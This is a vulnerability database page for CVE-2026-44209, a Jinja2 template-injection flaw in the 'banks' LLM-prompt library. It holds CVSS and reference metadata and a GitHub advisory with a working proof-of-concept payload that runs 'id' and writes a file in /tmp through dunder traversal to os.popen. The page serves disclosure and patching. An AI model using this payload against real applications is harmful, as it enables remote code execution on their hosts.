Vulnerability-Lookup

CVE-2026-44209 (GCVE-0-2026-44209)

Vulnerability from cvelistv5 – Published: 2026-05-26 20:46 – Updated: 2026-06-30 12:10

Title

Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI

Summary

Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
CWE-917 - Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/masci/banks/security/advisorie…	x_refsource_CONFIRM
https://github.com/masci/banks/pull/74	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-44209	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2481713	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

4 products

Vendor	Product	Version
masci	banks	Affected: < 2.4.2
Red Hat	Exploit Intelligence	cpe:/a:redhat:exploit_intelligence:0
Red Hat	OpenShift Lightspeed	cpe:/a:redhat:openshift_lightspeed
Red Hat	Red Hat Ansible Automation Platform 2	cpe:/a:redhat:ansible_automation_platform:2

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44209

Vulnerability from fkie_nvd - Published: 2026-05-26 21:16 - Updated: 2026-06-30 03:19

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/masci/banks/pull/74
	security-advisories@github.com	https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-44209
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2481713
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp
	0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44209.json

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "value": "Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2."
    }
  ],
  "id": "CVE-2026-44209",
  "lastModified": "2026-06-30T03:19:52.057",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44209",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-28T14:07:18.330651Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T21:16:37.620",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/masci/banks/pull/74"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-44209"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481713"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44209.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-917"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-GPHH-9Q3H-JGPP

Vulnerability from github – Published: 2026-05-08 20:36 – Updated: 2026-06-08 23:29

Summary

banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI

Details

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()

ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

Fix

Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().

Resources

Fix: https://github.com/masci/banks/pull/74
CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
CVE-2025-25362 (spacy-llm — identical root cause)
CWE-1336: Improper Neutralization of Special Elements in a Template Engine

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:36:22Z",
    "nvd_published_at": "2026-05-26T21:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
  "id": "GHSA-gphh-9q3h-jgpp",
  "modified": "2026-06-08T23:29:16Z",
  "published": "2026-05-08T20:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44209 (GCVE-0-2026-44209)

FKIE_CVE-2026-44209

GHSA-GPHH-9Q3H-JGPP

Summary

Vulnerable Code

Attack Scenario

Proof of Concept

Impact

Fix

Resources

Tags

Sightings

Nomenclature